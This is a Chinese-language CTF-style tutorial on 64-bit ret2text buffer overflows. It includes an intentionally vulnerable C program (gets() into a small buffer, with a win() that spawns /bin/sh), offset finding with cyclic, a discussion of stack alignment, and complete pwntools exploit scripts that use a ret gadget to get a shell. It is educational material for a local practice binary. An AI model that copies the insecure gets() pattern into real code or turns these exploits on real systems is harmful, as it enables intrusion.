很好,32位 ret2text 已经完整走通了,现在进入 64位栈溢出 ret2text。
其实64位和32位最大的区别不是“栈溢出原理变了”,而是:

函数调用约定、寄存器、地址长度发生了变化。

所以我们重新梳理一遍,但是重点放在和32位不同的地方。

准备64位环境

附件 pwn64

写一个简单程序:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#include<stdio.h>
#include<stdlib.h>

void win()
{
printf("You win!\n");
system("/bin/sh");
}

void test()
{
char buf[16];
gets(buf);
printf("%s\n",buf);
}

int main()
{
test();
return 0;
}

32位和64位最大的区别

32位:

地址是4字节
比如0x08049186
payload:

1
2
payload = b"A"*offset
payload += p32(win)

64位:

地址是8字节
比如0x401196
payload:

1
2
payload = b"A"*offset
payload += p64(win)

区别就是:

1
p32()变成了p64()

64位函数调用变化(重点)

32位函数参数放栈里。
例如:system("/bin/sh");调用了

1
2
push 参数
call system

64位:Linux x64 使用System V AMD64 ABI
前几个参数通过寄存器传递:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
第1个参数:
RDI

第2个参数:
RSI

第3个参数:
RDX

第4个参数:
RCX

第5个参数:
R8

第6个参数:
R9

比如printf("hello");
实际上就是

1
2
lea rdi,"hello"
call printf

但是今天做 ret2text调用的是win
没有用到参数
所以暂时不用管寄存器。

动态调试看64位栈

输入

1
gdb ./pwn64

查看

1
disassemble test

你会看到:
image
没错就是寄存器的变化

1
2
3
4
5
6
7
8
由
esp
ebp
eip
变成了
rsp
rbp
rip

观察栈帧区别

32位是

1
2
3
4
5
6
7
8
9
高地址

return address

saved ebp

buf

低地址

64位也基本一样:

1
2
3
4
5
6
7
8
9
高地址

return address

saved rbp

buf

低地址

只是保存的地址32位:4字节
而64位是8字节

找offset

使用

1
2
3
from pwn import *
pattern = cyclic(200, n=8)
print(pattern)

在64位栈溢出中,由于返回地址保存在 RIP 中,而 RIP 的长度为8字节,因此需要生成适配8字节的数据模式来定位偏移量。cyclic(200, n=8) 会生成一个长度为200字节的唯一模式字符串,其中任意连续8个字节组合都是唯一的。当程序发生栈溢出并覆盖RIP后,我们可以根据RIP中保存的这8个字节,通过查找它在模式字符串中的位置,计算出从缓冲区开始到返回地址之间的准确距离(offset)。
程序中输入

1
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab

然后一直n就行,直到n不动的时候
image
我们可以看到ret要返回的是0x6161616161616164

1
所以我们的rip = 0x6161616161616164

然后去python中输入

1
print(cyclic_find(0x6161616161616164, n=8))

当程序因为栈溢出崩溃后,RIP会被输入的数据覆盖,例如此时RIP的值为 0x6161616161616164。cyclic_find() 的作用是根据这个被覆盖的值,在之前生成的 cyclic(200, n=8) 模式字符串中查找它的位置,从而得到返回地址距离缓冲区起点的偏移量。其中 n=8 表示按照8字节模式进行查找,必须和生成 cyclic 字符串时保持一致,否则由于64位和32位数据长度不同,得到的 offset 会错误。简单来说,cyclic()负责生成用于定位的特殊字符串,而cyclic_find()负责根据崩溃后的RIP值反推出需要填充多少字节才能覆盖RIP。
image
offset=24

构造payload

32位的是

1
2
payload = b"A"*offset
payload += p32(win)

那么64位的就是

1
2
payload = b"A"*offset
payload += p64(win)

我们先找win的地址

1
disassemble win

image
那我选择0x000000000040117a这个地方吧
所以payload是

1
2
3
4
5
6
7
8
from pwn import *
p = process("./pwn64")
win = 0x000000000040117a
payload = b"A"*24
payload += p64(win)
#gdb.attach(p)
p.sendline(payload)
p.interactive()

image

这里可能遇到第一个64位坑:栈对齐

64位经常出现:

1
Segmentation fault

但是地址没错。
原因:栈16字节对齐
比如进入win
之前rsp必须满足:

1
rsp % 16 == 0

否则:
某些 libc 函数:

1
2
system()
printf()

可能崩溃。
那我们进去看看吧,脚本改一下

1
2
3
4
5
6
7
8
9
10
11
from pwn import *
p = process("./pwn64")
win = 0x000000000040117a
payload = b"A"*24
payload += p64(win)
gdb.attach(p, '''
b *0x401197
continue
''')
p.sendline(payload)
p.interactive()

image
可以看到此时rsp是0x7ffc0b887128
计算一下

1
2
3
4
0x7ffc0b887128 % 16
最后一位是128
所以0x128 = 296
296 % 16 = 8

所以现在
rsp % 16 = 8
解决的话就加一个 ret gadget:

1
2
3
payload = b"A"*offset
payload += p64(ret)
payload += p64(win)

这里我们输入

1
ROPgadget --binary pwn64 | grep ret

image
找到:

1
0x40101a : ret

然后:

1
2
payload += p64(0x40101a)
payload += p64(win)

所以最终payload是

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
p = process("./pwn64")
win = 0x000000000040117a
payload = b"A"*24
payload += p64(0x40101a)
payload += p64(win)
gdb.attach(p, '''
b *0x401197
continue
''')
p.sendline(payload)
p.interactive()

看一看栈对齐了没
运行脚本
image
这时候rsp等于0x7ffdd95dc260
计算一下

1
2
3
4
0x7ffdd95dc260 % 16
0x260 % 16
0x260 = 608
608 % 16 = 0

这时候rsp就是对的,然后打通了
image
拿下拿下

32位 vs 64位总结

32位 64位
返回寄存器 EIP RIP
栈指针 ESP RSP
基址指针 EBP RBP
地址长度 4字节 8字节
打包函数 p32 p64
参数传递 栈 寄存器
常见问题 offset 栈对齐

所以64位 ret2text 的核心流程:
image

别再让等等耗尽你所有的可能。
不要把梦想留给未来的某一天,现在就是开始的时刻。
Don’t let someday steal all your possibilities.
Start now, keep moving, and become who you want to be.

—— yanami